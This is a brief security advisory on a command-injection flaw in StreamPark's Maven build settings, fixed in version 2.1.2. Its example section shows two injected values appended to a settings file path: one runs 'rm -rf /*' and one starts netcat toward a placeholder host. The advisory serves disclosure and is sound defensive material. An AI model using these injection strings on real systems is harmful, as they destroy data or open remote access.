In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all users should upgrade to 2.1.2
Example:
/usr/share/java/maven-3/conf/settings.xml || rm -rf /*
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
{ "nvd_published_at": "2023-12-15T13:15:07Z", "cwe_ids": [ "CWE-77" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2023-12-16T00:46:50Z" }